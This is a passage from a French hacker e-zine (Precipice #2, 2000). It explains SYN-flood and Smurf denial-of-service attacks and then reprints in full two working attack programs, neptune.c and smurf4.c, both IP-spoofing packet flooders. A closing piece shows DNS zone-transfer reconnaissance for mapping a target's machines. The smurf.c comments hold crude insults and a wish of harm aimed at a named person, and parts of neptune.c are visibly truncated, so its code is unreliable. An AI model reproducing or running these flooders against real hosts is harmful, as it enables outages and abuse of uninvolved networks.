la mmoire) si on rencontre une erreur. Si la limite du baklog est atteinte, 
TCP considre que c'est une erreur et la connexion est refusee. 
Autrement, l'tat de TCP de la nouvelle socket est listen(). 

Si le paquet contient un RST, il est abandonne. 
S'il contient un ACK, il est egalement abandonne,
mais un RST est envoy et la structure de la memoire est "dchire"
(l'ACK n'a pas de sens pour la connexion  ce niveau et est 
considr etant une erreur).
Si le paquet contient un SYN, le traitement peut continuer. 

Traitement des adresses, etc : 
Quand un paquet TCP arrive, L'information du client est adressee
dans un buffer, connectee au pcb {} du client, les differentes
options TCP sont traitees et le numero de sequence initial (IIS)
est envoye. 

Reponse au SYN :
TCP envoie un SYN, un ISS et un ACK au client. 
Il y a 75 secondes de delai pour que la connexion soit etablie, 
apres ce laps de temps, elle est abandonne et un nouveau SYN doit 
etre envoye pour demander une nouvelle connexion.
Le SYN devient donc un SYN_RCVD. 


			PARTIE IV : L'ATTAQUE


Une connexion TCP est amorce avec un client faisant une demande  un
serveur avec le flag SYN dans les headers TCP. 
Normalement le serveur repondra par un SYN-ACK au client 
identifi grace a l'adresse source (en 32 bits) dans les headers de l'IP.
Le client renverra alors un ACK au serveur (voir schema 1)
et le transfert des donnes pourra commencer. 

Quand l'adresse IP du client est spoofee de telle maniere a
renvoyer sur un host innacessible, le serveur vise (la cible)
ne pourra pas terminer la "3-way handshake" et continuera  
essayer tant qu'il lui est permis. 

C'est la base pour l'attaque. 
Le serveur attaquant envoie quelques requetes SYN au port TCP
de la cible (par exemple, le dmon telnet). 
Le serveur attaquant doit aussi s'assurer que l'adresse IP source
est spoofee afin de passer pour le host inaccessible 
(la cible TCP enverra la rponse  cette adresse). 

L'IP (par voie ICMP) informera TCP que le host
est inaccessible, mais TCP considre que ces erreurs sont passageres 
et ignore ces messages.
L'adresse IP doit tre inaccessible parce que l'attaquant ne veut pas 
le serveur qui sert de cible puisse lui renvoyer les SYN/ACK, ce qui 
mettrait  jour un RST de ce host.
Cela djouerait l'attaque. 

J'utiliserais des lettres pour simplifier la comprehension
des differents schemas :

A       La cible
X       Serveur non resolvable (Unreachable host en anglais)
Z       Le host attaquant
Z(x)    L'attaquant masque par X
B	Ordinateurs dependants d'un broacast

Il y a egalement quelques figures pour les transactions sur le reseau, et 
elles seront interpretees comme suit:

	tick		host a		control		host b

tick 	Unite de temps, pas de distinction dans le temps mis entre chaque "tick"
-----

host a	Une machine participant a la conversation TCP
------

control	Ce champs montre tous les bits de control releves dans les TCP headers 
-------	ainsi que la direction des paquets.

host b	Une machine participant a la conversation TCP
------

Le processus est comme suit :
-----------------------------

			(Schema 3)

        1       Z(x)    ---SYN--->      A

                Z(x)    ---SYN--->      A

                Z(x)    ---SYN--->      A

                Z(x)    ---SYN--->      A

                Z(x)    ---SYN--->      A

                Z(x)    ---SYN--->      A


        2       X    <---SYN/ACK---     A

                X    <---SYN/ACK---     A

                        ...

        3       X      <---RST---       A


1) 
l'hte attaquant envoie une multitude de requetes SYN 
 la cible pour "remplir" le backlog avec des 
connexions en suspens. 
2) 
la cible rpond par des SYN/ACK  ce qu'il croit etre
la source des paquets SYN. Pendant ce temps toutes les
nouvelles requetes  ce port TCP seront ignores. 
Le port de la cible est deborde et n'est plus capable
de traiter les autres requetes.


LE SMURF
--------
Description rapide d'une attaque appellee Smurf, en complement
du Syn-Flood.
Il s'agit d'une technique qui permet d'utiliser des dizaines, voir 
des centaines d'ordinateurs ("innocents") d'un reseau grace a
des Broadcast afin de surcharger la cible.

Si on envoie une requete ICMP-PING a un serveur, celui-ci repondra
par un ICMP-PONG. En utilisant une adresse IP spoofee dans les 
headers, la reponse arrivera sur la cible.
Un serveur Broadcast est un serveur de diffusion qui est capable
de rerouter a tout son reseau un paquet qu'il a recu. Donc
en lui envoyant un paquet ICMP-PING, toutes les machines
qui en dependent repondront par un ICMP-PONG.
Plus le Broadcast est rapide et plus il y a d'ordinateurs
qui en dependent, plus l'attaque sera fortes.

Cette attaque est simple, je ne rentrerais pas ici dans les
details du protocole ICMP, mais un paquet de 1Ko envoye peut
tres vite engendre 1000 Ko ou 10 000 Ko (soit 1000 ou  10 000 paquets)
se dirigeant vers une meme cible. Cette attaque peut facilement saturer
une ligne de type T1.		

En utilisant non pas un mais plusieurs Broadcast, l'attaque peut 
prendre une ampleure gigantesque.


			(Schema 4)

			-------------------
			|	Z(x)	   |
	 		-------------------
				||
        		        ||
        		-------------------
       			|    Broadcast     |
			-------------------
        	        	||   
...-----||----------------------||--------------------||-----------...
 --------------		  --------------	-------------- 
 |       B    |	 	  |       B     |	|	B     | 
 --------------		  -------------- 	-------------- 
	||			||		       ||
    ...----------------------------------------------------...
				||		 
			 -------------------
	                 |        A         |
        	         ------------------- 




			PARTIE V : NEPTUNE.C ET SMURF4.C 

J'ai reproduit ici deux programmes. Je n'en suis pas l'auteur, et je ne les ai
pas modifie. Vous les trouverez ici tels que les auteurs les ont ecrit.


		NEPTUNE.C

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFLEN 256
#define MENUBUF 64
#define MAXPORT 1024
#define MAXPAK 4096             
#define MENUSLEEP 700000        
#define FLOODSLEEP 100          /* Ethernet, or WAN? Yur mileage will vary.*/
#define ICMPSLEEP 100           
#define ACCESSLIST "/etc/sfaccess.conf"

int HANDLERCODE=1;
int KEEPQUIET=0;
char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};
 
void main(argc,argv)
int argc;
char *argv[];
{
        
        void usage(char *);
        void menu(int,char *);
        void flood(int,unsigned,unsigned,u_short,int);
        unsigned nameResolve(char *);
        int authenticate(int,char *);   
 
        unsigned unreachable,target;    
        int c,port,amount,sock1,fd;
        struct passwd *passEnt;
        char t[20],u[20];

        if((fd=open(ACCESSLIST,O_RDONLY))<=0){
                perror("Cannot open accesslist");
                exit(1);
        }
        setpwent();
        passEnt=getpwuid(getuid());
        endpwent();
                                /* Authenticate */
        if(!authenticate(fd,passEnt->pw_name)){
                fprintf(stderr,"Access Denied, kid\n");
                exit(0);
        }
                                /* Open up a RAW socket */

        if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
                perror("\nHmmm.... socket problems\n");
                exit(1);
        } 
        if(argc==1){
                menu(sock1,passEnt->pw_name);
                exit(0);
        }
                                /* Parse command-line arguments */
        while((c=getopt(argc,argv,"8:s:t:p:a"))){
                switch(c){
                        case 's':       /* Source (spoofed) host */
                                unreachable=nameResolve(optarg);
                                strcpy(u,optarg);
                                break;
                        case 't':       /* Target host */
                                target=nameResolve(optarg);
                                strcpy(t,optarg);
                                break;
                        case 'p':       /* Target port */
                                port=atoi(optarg);
                                break;
                        case '8':       /* infinity switch */
                                port=0;                 
                                break;
                        case 'a':       /* Amount of SYNs to send */
                                amount=atoi(optarg);
                                break;
                        default:        /* WTF? */
                                usage(argv[0]);
                }
        }    

        if(!port){
                printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable); 
                flood(sock1,unreachable,target,0,amount);
        }       
        else{
                printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable); 
                flood(sock1,unreachable,target,port,amount);
        }
        syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount);  
        printf(werd);
        exit(0);
}                                       /* End main */

/*
 *      Authenticate.  Makes sure user is authorized to run program.
 *
 */
int authenticate(fd,nameID)
int fd;
char *nameID;
{

        char buf[BUFLEN+1];
        char workBuffer[10];
        int i=0,j=0;    

        while(read(fd,buf,sizeof(buf))){
                if(!(strstr(buf,nameID))){
                        close(fd);
                        syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID);  
                        return(0);
                }
                else {
                        close(fd);
                        syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid());  
                        return(1);
                }
        }
}


/*
 *      Flood.  This is main workhorse of the program.  IP and TCP header 
 *      construction occurs here, as does flooding.     
 */
void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){
 
        unsigned short in_cksum(unsigned short *,int);
  
        struct packet{
                struct iphdr ip;
                struct tcphdr tcp;
        }packet;
   
        struct pseudo_header{           /* For TCP header checksum */
                unsigned int source_address;
                unsigned int dest_address;
                unsigned char placeholder;
                unsigned char protocol;
                unsigned short tcp_length;
                struct tcphdr tcp;
        }pseudo_header;
 
        struct sockaddr_in sin;         /* IP address information */
        register int i=0,j=0;           /* Counters */
        int tsunami=0;                  /* flag */
        unsigned short sport=161+getpid();

        if(!dport){
                tsunami++;              /* GOD save them... */
                fprintf(stderr,"\nTSUNAMI!\n");
                fprintf(stderr,"\nflooding port:");     
        }

                        /* Setup the sin struct with addressing information */

        sin.sin_family=AF_INET;         /* Internet address family */
        sin.sin_port=sport;             /* Source port */
        sin.sin_addr.s_addr=dadd;       /* Dest. address */
                        
                        /* Packet assembly begins here */

                                /* Fill in all the TCP header information */

        packet.tcp.source=sport;        /* 16-bit Source port number */
        packet.tcp.dest=htons(dport);   /* 16-bit Destination port */
        packet.tcp.seq=49358353+getpid();       /* 32-bit Sequence Number */
        packet.tcp.ack_seq=0;           /* 32-bit Acknowledgement Number */
        packet.tcp.doff=5;              /* Data offset */
        packet.tcp.res1=0;              /* reserved */
        packet.tcp.res2=0;              /* reserved */  
        packet.tcp.urg=0;               /* Urgent offset valid flag */          
        packet.tcp.ack=0;               /* Acknowledgement field valid flag */
        packet.tcp.psh=0;               /* Push flag */
        packet.tcp.rst=0;               /* Reset flag */
        packet.tcp.syn=1;               /* Synchronize sequence numbers flag */
        packet.tcp.fin=0;               /* Finish sending flag */
        packet.tcp.window=htons(242); /* 16-bit Window size */
        packet.tcp.check=0;             /* 16-bit checksum (to be filled in below) */
        packet.tcp.urg_ptr=0;           /* 16-bit urgent offset */
 
                                /* Fill in all the IP header information */
   
        packet.ip.version=4;            /* 4-bit Version */
        packet.ip.ihl=5;                /* 4-bit Header Length */
        packet.ip.tos=0;                /* 8-bit Type of service */
        packet.ip.tot_len=htons(40);    /* 16-bit Total length */
        packet.ip.id=getpid();          /* 16-bit ID field */
        packet.ip.frag_off=0;           /* 13-bit Fragment offset */
        packet.ip.ttl=255;              /* 8-bit Time To Live */
        packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
        packet.ip.check=0;              /* 16-bit Header checksum (filled in below) */
        packet.ip.saddr=sadd;           /* 32-bit Source Address */
        packet.ip.daddr=dadd;           /* 32-bit Destination Address */
 
                        /* Psuedo-headers needed for TCP hdr checksum (they
                        do not change and do not need to be in the loop) */
                
        pseudo_header.source_address=packet.ip.saddr;
        pseudo_header.dest_address=packet.ip.daddr;
        pseudo_header.placeholder=0;
        pseudo_header.protocol=IPPROTO_TCP;
        pseudo_header.tcp_length=htons(20);
 
        while(1){                       /* Main loop */
                if(tsunami){
                        if(j==MAXPORT){
                                tsunami=0;
                                break;
                        }
                        packet.tcp.dest=htons(++j);
                        fprintf(stderr,"%d",j);
                        fprintf(stderr,"%c",0x08);
                        if(j>=10)fprintf(stderr,"%c",0x08);
                        if(j>=100)fprintf(stderr,"%c",0x08);
                        if(j>=1000)fprintf(stderr,"%c",0x08);
                        if(j>=10000)fprintf(stderr,"%c",0x08);

                }
                for(i=0;i 1)  {
                sum += *ptr++;
                nbytes -= 2;
        }
 
                                /* mop up an odd byte, if necessary */
        if (nbytes == 1) {
                oddbyte = 0;            /* make sure top half is zero */
                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
                sum += oddbyte;
        }
 
        /*
         * Add back carry outs from top 16 bits to low 16 bits.
         */
 
        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
        sum += (sum >> 16);                     /* add carry */
        answer = ~sum;          /* ones-complement, then truncate to 16 bits */
        return(answer);
}


/*
 *      Converts IP addresses
 */
unsigned nameResolve(char *hostname){

        struct in_addr addr;
        struct hostent *hostEnt;

        if((addr.s_addr=inet_addr(hostname))==-1){
                if(!(hostEnt=gethostbyname(hostname))){
                        fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
                        exit(0);
                }
                bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
        }
        return addr.s_addr;
}


/*
 *      Menu function.  Nothing suprising here.  Except that one thing.
 */
void menu(sock1,nameID)
int sock1;
char *nameID;
{
        int slickPing(int,int,char *);
        void flood(int,unsigned,unsigned,u_short,int);
        unsigned nameResolve(char *);
        void demon(int,char *,char *,int,int,int,int);

        int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;
        char optflags[7]={0};           /* So we can keep track of the options */
        static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};    

        while(menuLoop){                
                printf("\n\n\t\t\t[   SYNflood Menu   ]\n\t\t\t    [  daemon9  ]\n\n");
                if(!optflags[0])printf("1\t\tEnter target host\n");
                else printf("[1]\t\tTarget:\t\t\t%s\n",target);
                if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n");
                else printf("[2]\t\tUnreachable:\t\t%s\n",unreach);
                if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n");
                else printf("[3]\t\tUnreachable host:\tverified unreachable\n");
                if(!optflags[3])printf("4\t\tEnter port number to flood\n");
                else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);
                else printf("[4]\t\tFlooding:\t\t1-1024\n");
                if(!optflags[4])printf("5\t\tEnter number of SYNs\n");
                else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount);
                printf("\n6\t\tQuit\n");
                if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n");
                if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n");
                printf("\n\n\n\n\n\n\n\n\n\n\n\n");
                fgets(tmp,BUFLEN/2,stdin);      /* tempered input */
                switch(atoi(tmp)){
                        case 1: 
                                printf("[hostname]-> ");
                                fgets(target,MENUBUF,stdin);
                                i=0;
                                if(target[0]=='\n')break;
                                while(target[i]!='\n')i++;
                                target[i]=0;
                                optflags[0]=1;                  
                                break;
                        case 2:
                                printf("[hostname]-> ");
                                fgets(unreach,MENUBUF,stdin);
                                i=0;
                                if(unreach[0]=='\n')break;
                                while(unreach[i]!='\n')i++;
                                unreach[i]=0;
                                optflags[1]=1;
                                break;
                        case 3:
                                if(!optflags[1]){
                                        fprintf(stderr,"Um, enter a host first\n");
                                        usleep(MENUSLEEP);
                                        break;
                                }
                                                /* Raw ICMP socket */
                                if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){
                                        perror("\nHmmm.... socket problems\n");
                                        exit(1);
                                }               
                                printf("[number of ICMP_ECHO's]-> ");
                                fgets(tmp,MENUBUF,stdin);
                                if(!(icmpAmt=atoi(tmp)))break;
                                if(slickPing(icmpAmt,sock2,unreach)){
                                        fprintf(stderr,"Host is reachable... Pick a new one\n");
                                        sleep(1);
                                        optflags[1]=0;
                                        optflags[2]=0;
                                        HANDLERCODE=1;
                                        close(sock2);
                                        break;
                                }
                                optflags[2]=1;
                                close(sock2);
                                break;
                        case 4: 
                                printf("[port number]-> ");
                                fgets(tmp,MENUBUF,stdin);
                                port=atoi(tmp);
                                optflags[3]=1;
                                break;
                        case 5:
                                printf("[number of SYNs]-> ");
                                fgets(tmp,MENUBUF,stdin);
                                if(!(amount=atoi(tmp)))break;
                                optflags[4]=1;
                                break;
                        case 6:
                                menuLoop--;
                                break;
                        case 7:
                                if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
                                        syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount);  
                                        flood(sock1,nameResolve(unreach),nameResolve(target),port,amount);
                                        menuLoop--;
                                }
                                else{
                                        fprintf(stderr,"Illegal option --try again\n");
                                        usleep(MENUSLEEP);
                                }
                                break;
                        case 8:
                                if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
                                        if(!port){
                                                fprintf(stderr,"Cannot set infinity flag in daemon mode.  Sorry.\n");
                                                usleep(MENUSLEEP*2);
                                                break;
                                        }
                                        printf("[packet sending interval in seconds {80}]-> ");
                                        fgets(tmp,MENUBUF,stdin);
                                        if(!(interval=atoi(tmp)))interval=80;
                                        printf("[time for daemon to live in whole hours(0=forever)]-> ");
                                        fgets(tmp,MENUBUF,stdin);
                                        ttl=atoi(tmp);
                                        syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl);  
                                        demon(sock1,unreach,target,port,amount,interval,ttl);
                                        exit(0);
                                }
                                else{
                                        fprintf(stderr,"Illegal option --try again\n");
                                        usleep(MENUSLEEP);
                                }
                                break;
                                                                
                        default:
                                fprintf(stderr,"Illegal option --try again\n");
                                usleep(MENUSLEEP);
                }

        }
        printf("\n");
        printf(werd);
        return;
}


/*
 *      SlickPing.  A quick and dirty ping hack.  Sends  ICMP_ECHO 
 *      packets and waits for a reply on any one of them...  It has to check 
 *      to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP 
 *      sockets get ALL the ICMP traffic on a host, and someone could be 
 *      pinging some other host and we could get that ECHOREPLY and foul 
 *      things up for us.
 */
int slickPing(amount,sock,dest)
int amount,sock;
char *dest;
{

        int alarmHandler();
        unsigned nameResolve(char *);
        
        register int retcode,j=0;
        struct icmphdr *icmp;
        struct sockaddr_in sin;
        unsigned char sendICMPpak[MAXPAK]={0};
        unsigned short pakID=getpid()&0xffff;

        struct ippkt{
                struct iphdr ip;
                struct icmphdr icmp;
                char buffer[MAXPAK];
        }pkt;

        bzero((char *)&sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=nameResolve(dest);

                /* ICMP Packet assembly  */
        /* We let the kernel create our IP header as it is legit */

        icmp=(struct icmphdr *)sendICMPpak;
        icmp->type=ICMP_ECHO;                   /* Requesting an Echo */
        icmp->code=0;                           /* 0 for ICMP ECHO/ECHO_REPLY */
        icmp->un.echo.id=pakID;                 /* To identify upon return */   
        icmp->un.echo.sequence=0;               /* Not used for us */
        icmp->checksum=in_cksum((unsigned short *)icmp,64);

        fprintf(stderr,"sending ICMP_ECHO packets: ");
        for(;jun.echo.id==pakID){
                        if(!HANDLERCODE)return(0);
                        return(1);
                }
        }       
}


/* 
 *      SIGALRM signal handler.  Souper simple.
 */ 
int alarmHandler(){

        HANDLERCODE=0;          /* shame on me for using global vars */
        alarm(0);
        signal(SIGALRM,SIG_DFL);
        return(0);
}


/*
 *      Usage function...  
 */
void usage(nomenclature)
char *nomenclature;
{
        fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature);
        exit(0);
}


/*
 *      Demon.  Backgrounding procedure and looping stuff.  
 */                                     

void demon(sock,unreachable,target,port,amount,interval,ttl)
int sock;
char *unreachable;
char *target;
int port;
int amount;
int interval;
int ttl;
{
        fprintf(stderr,"\nSorry Daemon mode not available in this version\n");
        exit(0);

}

------------------------------------------------------------------------

		SMURF4.C


/*
 *
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST Exp $
 *
 *  spoofs icmp packets from a host to various broadcast addresses resulting
 *  in multiple replies to that host from a single packet.  
 *
 *  mad head to:  
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
 *     MissSatan for swallowing, napster for pimping my sister, the guy that
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain 
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
 *     have missed (you know who you are).
 * 
 *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
 *     half the cheque).
 *
 *     and a special hi to Todd, face it dude, you're fucking awesome.
 *
 *  mad anal to:
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
 *     because they plain suck, Rolex for being a twit, everyone that
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to
 *     his penis and anyone that can't pee standing up -- you don't know what
 *     your missing out on.
 *
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
 *     interesting).
 *
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill 
 *     Robbins for trying to steal my girlfriend.  Not only did you show me
 *     no respect but you're a manipulating prick who tried to take away the 
 *     most important thing in the world to me with no guilt whatsoever, and
 *     for that I wish you nothing but pain.  Die.
 *
 *  disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and I refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine.
 *     This is for educational use only. Please Don't abuse this.
 *
 *  Well, i really, really, hate this code, but yet here I am creating another
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
 *  like most programmers don't like seeing bugs in their code.  I saw a few
 *  things that should have been done better or needed fixing so I fixed 
 *  them.  -shrug-, programming for me as always seemed to take the pain away
 *  ...
 *
 *
 */   
 
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);


/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])  
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192); 

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0); 

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++) 
          if (buf[i] == '\n') buf[i] = '\0';
      bcastaddr[x] = malloc(32); 
      strcpy(bcastaddr[x], buf);   
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
      exit(-1);
   }

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  
   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);  

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0; 
      usleep(delay);
   }
   puts("\n\n");
   return 0;
}

void banner (void)
{
   puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>\n\n"
                   "target        = address to hit\n"
                   "bcast file    = file to read broadcast addresses from\n"
                   "num packets   = number of packets to send (0 = flood)\n"
                   "packet delay  = wait between each packet (in ms)\n"
                   "packet size   = size of packet (< 1024)\n\n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("\nDone!\n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}
						Spirit_2001a

-------------------------------------------------------------------------


			SANS TITRE	


Bon, pour ce petit article, je n'avais aucune idee de titre, donc j'ai fait 
au plus simple, je n'en ai pas mis !
Maintenant si ca vous derange vraiment, vous pouvez toujours m'ecrire pour 
me donner des idees :)

Alors de quoi que je vais bien pouvoir vous causer ? (hehe patience...)
Vouloir hacker c'est cool, c'est bien, c'est marrant etc (hum, c'est pas 
l'avis des flics, mais la on s'en tape franchement), le seul probleme 
c'est qu'il faut bien commencer quelque part lorsqu'on s'attaque a un serveur.

Un nmap est une bonne idee car on peut deja savoir l'os utilise ainsi que les 
ports ouverts, filtres etc...
(oui oui j'arrive au sujet de l'article)
mais seulement  je trouve qu'on n'en sait pas encore assez...

Alors voici un petit truc tres simple pour les utilisateurs de systemes unix
afin de detecter toutes les machines (et les ip) de notre cible...
Deja assurez-vous d'avoir les deux commandes nslookup et dnsquery sinon 
c'est foutu !
Pour l'exemple, prenons le serveur www.toto.com (hum, je crois que ca 
existe en plus, mais la tout ce que je dirais sera completement fictif), 
ce qui est a taper est precede d'un % et les reponses du serveur par un # :

% dnsquery toto.com

# ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36850
# ;; flags: qr rd ra; Ques: 1, Ans: 2, Auth: 0, Addit: 0
# ;; QUESTIONS:
# ;;      toto.com, type = ANY, class = IN
# ;; ANSWERS:
# toto.com.   0       IN      NS      ns.toto.com.
#

Hum... c'est bien joli mais qu'est ce que ca signifie tout ca ?
(je precise qu'on peut obtenir des resultats differents suivant les serveurs)
Je pourrais detailler ici les reponses du serveurs, mais ce n'est pas le but
de cet article, et la seule chose qui nous interresse, c'est ns.toto.com,
ns signifie simplement Name Server (si vous ne savez pas ce que c'est, 
prenez un dico, et retournez jouer aux poupees...;p)

Donc ce ns.toto.com, on ne va pas seulement l'admirer, mais maintenant 
on va pouvoir soutirer des informations :)

% nslookup - ns.toto.com
# >

Le tiret signifie qu'on va se servir de ns.toto.com comme 
DNS primaire, et le serveur repond par un ">".
Et la pouf astuce ! Voici ce qu'il reste a faire...:

% nslookup - ns.toto.com
# >
%ls -t toto.com

Hop ! la liste de tous les serveurs avec leur ip !!!

Il suffit simplement de renvoyer cette liste vers un fichier texte, mais 
j'espere que tout le monde en est capable ;p


						Spirit_2001a


-------------------------------------------------------------------------


			EPILOGUE


Voila ! Fin de ce numero 2.... Je ne suis pas sure que tous les
articles soient lu... mais bon, j'ai jamais dit que j'etais une pro 
ou quoique ce soit ;p
J'espere seulement que ce mag n'existera pas pour faire zoli 
dans C:\WINDOWS\MES%20DOCUMENTS\DIVERS\AUTRES\A%20OUBLIER\ etc..
		=:op

Remerciements: GarD, Jop2, jpmarat, et tous ceux qui m'ont donne des 
conseils ou qui m'ont critique pendant la redaction de precipice #2 :)


						Precipice #2	Octobre 2000.

		spirit_2001a@gmx.net
		HTTP://CLEOZ.2Y.NET/


                                        ,   ,
                                        $,  $,     ,
                                        "ss.$ss. .s'
                                ,     .ss$$$$$$$$$$s,
                                $. s$$$$$$$$$$$$$$`$$Ss
                                "$$$$$$$$$$$$$$$$$$o$$$       ,
                               s$$$$$$$$$$$$$$$$$$$$$$$$s,  ,s
                              s$$$$$$$$$"$$$$$$""""$$$$$$"$$$$$,
                              s$$$$$$$$$$s""$$$$ssssss"$$$$$$$$"
                             s$$$$$$$$$$'         `"""ss"$"$s""
                             s$$$$$$$$$$,              `"""""$  .s$$s
                             s$$$$$$$$$$$$s,...               `s$$'  `
                         `ssss$$$$$$$$$$$$$$$$$$$$####s.     .$$"$.   , s-
                           `""""$$$$$$$$$$$$$$$$$$$$#####$$$$$$"     $.$'
